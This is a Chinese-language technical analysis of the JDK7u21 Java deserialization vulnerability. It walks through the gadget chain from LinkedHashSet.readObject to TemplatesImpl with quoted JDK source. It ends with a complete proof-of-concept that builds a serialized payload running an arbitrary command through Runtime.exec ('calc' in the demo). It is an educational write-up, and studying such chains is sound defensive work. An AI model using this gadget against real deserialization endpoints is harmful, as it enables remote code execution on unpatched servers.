JDK7u21 反序列化漏洞
字数 2566 2025-08-26 22:11:57
JDK7u21 反序列化漏洞深入分析与利用
漏洞概述
JDK7u21 反序列化漏洞是一个利用 Java 标准库中自带类实现的反序列化攻击链。该漏洞利用了 Java 反序列化机制中的多个关键类和方法,包括 LinkedHashSet、HashSet、HashMap、TemplatesImpl、AbstractTranslet、Proxy 和 AnnotationInvocationHandler 等。
环境准备
- JDK 版本:jdk1.7.0_21
- 开发工具:IDEA 2019.2
核心漏洞分析
TemplatesImpl 类利用
TemplatesImpl 类是漏洞利用的关键,它位于 com.sun.org.apache.xalan.internal.xsltc.trax 包中。
getTransletInstance() 方法分析
private Translet getTransletInstance() throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
AbstractTranslet translet = (AbstractTranslet)_class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}
return translet;
} catch (InstantiationException e) {
// 异常处理
} catch (IllegalAccessException e) {
// 异常处理
}
}
关键点:
- 当
_class字段为 null 时,会调用defineTransletClasses()方法 - 然后执行
_class[_transletIndex].newInstance()语句 newInstance()会调用_class[_transletIndex]的无参构造方法,生成类实例对象
defineTransletClasses() 方法分析
private void defineTransletClasses() throws TransformerConfigurationException {
if (_bytecodes == null) {
throw new TransformerConfigurationException("No translet bytecode");
}
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader());
}
});
try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new Hashtable();
}
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
} else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
if (_transletIndex < 0) {
throw new TransformerConfigurationException("No main translet class found");
}
} catch (ClassFormatError e) {
// 异常处理
} catch (LinkageError e) {
// 异常处理
}
}
关键点:
- 遍历
_bytecodes(byte[][]) 数组,使用类加载器将字节码转化为 Class - 获取 Class 的父类
- 如果 Class 的父类名是
"com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet",为_transletIndex赋值 - 否则调用 Hashtable 的 put 方法为
_auxClasses字段增加值
_bytecodes 字段利用
要利用 TemplatesImpl,我们需要构造恶意类并设置到 _bytecodes 字段中。有两种方法:
方法一:通过 ClassPool 动态构造字节码
public static <T> T createTemplatesImpl(final String command, Class<T> tplClass,
Class<?> abstTranslet, Class<?> transFactory) throws Exception {
final T templates = tplClass.newInstance();
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(Foo.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(Foo.class.getName());
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\", "\\\\\\\\").replaceAll("\"", "\\\\\"") + "\");";
clazz.makeClassInitializer().insertBefore(cmd);
clazz.setName("com.Pwner");
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
final byte[] classBytes = clazz.toBytecode();
Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{classBytes, ClassFiles.classAsBytes(Foo.class)});
Reflections.setFieldValue(templates, "_name", "Pwner");
return templates;
}
public static class Foo implements Serializable {
private static final long serialVersionUID = 8207363842866235160L;
}
方法二:直接构造 Java 类并读取 class 文件
public class Foo extends AbstractTranslet implements Serializable {
private static final long serialVersionUID = 8207363842866235160L;
public Foo(){
try {
java.lang.Runtime.getRuntime().exec("calc");
} catch (Exception e){
System.out.println("exec Exception");
}
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
@Override
public void transform(DOM document, DTMAxisIterator iterator,
SerializationHandler handler) throws TransletException {}
}
读取 class 文件生成字节码数组:
InputStream in = new FileInputStream("class path");
byte[] data = toByteArray(in);
private static byte[] toByteArray(InputStream in) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
byte[] buffer = new byte[1024 * 4];
int n = 0;
while ((n = in.read(buffer)) != -1) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
AnnotationInvocationHandler 类利用
AnnotationInvocationHandler 类是动态代理的关键,位于 sun.reflect.annotation 包中。
equalsImpl 方法分析
private Boolean equalsImpl(Object var1) {
if (var1 == this) {
return true;
} else if (!this.type.isInstance(var1)) {
return false;
} else {
Method[] var2 = this.getMemberMethods();
int var3 = var2.length;
for (int var4 = 0; var4 < var3; ++var4) {
Method var5 = var2[var4];
String var6 = var5.getName();
Object var7 = this.memberValues.get(var6);
Object var8 = null;
AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
if (var9 != null) {
var8 = var9.memberValues.get(var6);
} else {
try {
var8 = var5.invoke(var1);
} catch (InvocationTargetException var11) {
return false;
} catch (IllegalAccessException var12) {
throw new AssertionError(var12);
}
}
if (!memberValueEquals(var7, var8)) {
return false;
}
}
return true;
}
}
关键点:
var5.invoke(var1)可以通过反射调用var1对象的方法- 要执行到
var5.invoke(var1)需要满足:var1 != thisvar1对象能够转化为this.type类型this.asOneOfUs(var1)返回 null
invoke 方法分析
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else {
assert var5.length == 0;
if (var4.equals("toString")) {
return this.toStringImpl();
} else if (var4.equals("hashCode")) {
return this.hashCodeImpl();
} else if (var4.equals("annotationType")) {
return this.type;
} else {
Object var6 = this.memberValues.get(var4);
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
}
return var6;
}
}
}
}
关键点:
- 要调用
equalsImpl方法,需要满足:- 方法名为 "equals"
- 方法参数个数为 1
- 方法参数类型为 Object 类型
HashMap 类利用
HashMap 的 put 方法中会调用 key.equals(k),这是触发整个漏洞链的关键点。
put 方法分析
public V put(K key, V value) {
if (key == null)
return putForNullKey(value);
int hash = hash(key);
int i = indexFor(hash, table.length);
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
V oldValue = e.value;
e.value = value;
e.recordAccess(this);
return oldValue;
}
}
modCount++;
addEntry(hash, key, value, i);
return null;
}
关键点:
- 要触发
key.equals(k)需要满足:- 两个 key 的 hash 值相等
indexFor计算的 i 相等- 前一个 key 不等于当前 key
- 当前 key 为代理对象,前一个 key 为
TemplatesImpl对象
hash 方法分析
final int hash(Object k) {
int h = 0;
if (useAltHashing) {
if (k instanceof String) {
return sun.misc.Hashing.stringHash32((String) k);
}
h = hashSeed;
}
h ^= k.hashCode();
h ^= (h >>> 20) ^ (h >>> 12);
return h ^ (h >>> 7) ^ (h >>> 4);
}
关键点:
- 实际调用的是对象的
hashCode()方法 - 对于代理对象,会调用
AnnotationInvocationHandler的hashCodeImpl()方法
hashCodeImpl 方法分析
private int hashCodeImpl() {
int var1 = 0;
Entry var3;
for (Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext();
var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
var3 = (Entry)var2.next();
}
return var1;
}
关键点:
- 计算方式为:127 * (key的hashCode) ^ (value的hashCode)
- 要使两个对象的 hash 值相等,需要:
memberValues只有一个 entry- key 的 hashCode 为 0
- value 为
TemplatesImpl对象
LinkedHashSet 类利用
LinkedHashSet 的 readObject 方法会触发整个漏洞链:
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
int capacity = s.readInt();
float loadFactor = s.readFloat();
map = (((HashSet)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor));
int size = s.readInt();
for (int i = 0; i < size; i++) {
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}
关键点:
- 反序列化时会依次调用
map.put方法 - 使用
LinkedHashSet可以保证元素的添加顺序
完整漏洞利用链
- 反序列化
LinkedHashSet对象 LinkedHashSet.readObject()调用map.put()HashMap.put()调用key.equals(k)- 代理对象的
equals()方法调用AnnotationInvocationHandler.invoke() AnnotationInvocationHandler.invoke()调用equalsImpl()equalsImpl()通过反射调用TemplatesImpl的方法TemplatesImpl.newTransformer()或getTransletInstance()触发恶意代码执行
完整 POC
public class JDK7u21 {
public static void main(String[] args) throws Exception {
TemplatesImpl templatesImpl = createTemplatesImpl("calc", TemplatesImpl.class,
AbstractTranslet.class, TransformerFactoryImpl.class);
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "ssss");
System.getProperties().put("sun.misc.ProxyGenerator.saveGeneratedFiles", "true");
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(
"sun.reflect.annotation.AnnotationInvocationHandler")
.newInstance(Templates.class, map);
final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, 1);
allIfaces[0] = Templates.class;
Templates templates = (Templates) Proxy.newProxyInstance(
JDK7u21.class.getClassLoader(), allIfaces, tempHandler);
LinkedHashSet set = new LinkedHashSet();
set.add(templatesImpl);
set.add(templates);
map.put(zeroHashCodeStr, templatesImpl);
// 序列化
ObjectOutputStream objectOutputStream = new ObjectOutputStream(
new FileOutputStream(new File("JDK7u21.ser")));
objectOutputStream.writeObject(set);
objectOutputStream.flush();
objectOutputStream.close();
// 反序列化触发
ObjectInputStream objectInputStream = new ObjectInputStream(
new FileInputStream("JDK7u21.ser"));
objectInputStream.readObject();
}
public static <T> T createTemplatesImpl(final String command, Class<T> tplClass,
Class<?> abstTranslet, Class<?> transFactory) throws Exception {
// 同上文 createTemplatesImpl 方法
}
public static class Foo implements Serializable {
private static final long serialVersionUID = 8207363842866235160L;
}
}
漏洞修复
Oracle 在后续的 JDK 版本中修复了此漏洞,主要修复点包括:
- 修改了
AnnotationInvocationHandler的equalsImpl方法 - 增加了对反序列化类的安全检查
- 修复了
TemplatesImpl类的安全漏洞
总结
JDK7u21 反序列化漏洞是一个经典的 Java 反序列化漏洞,它利用了 Java 标准库中多个类的特性组合形成了一个完整的攻击链。理解这个漏洞需要对 Java 的以下机制有深入理解:
- 反序列化机制
- 反射机制
- 动态代理
- 类加载机制
- Hash 算法和 HashMap 实现
这个漏洞的利用过程展示了 Java 反序列化漏洞的复杂性和危害性,也提醒开发者在设计可序列化类时需要特别注意安全性。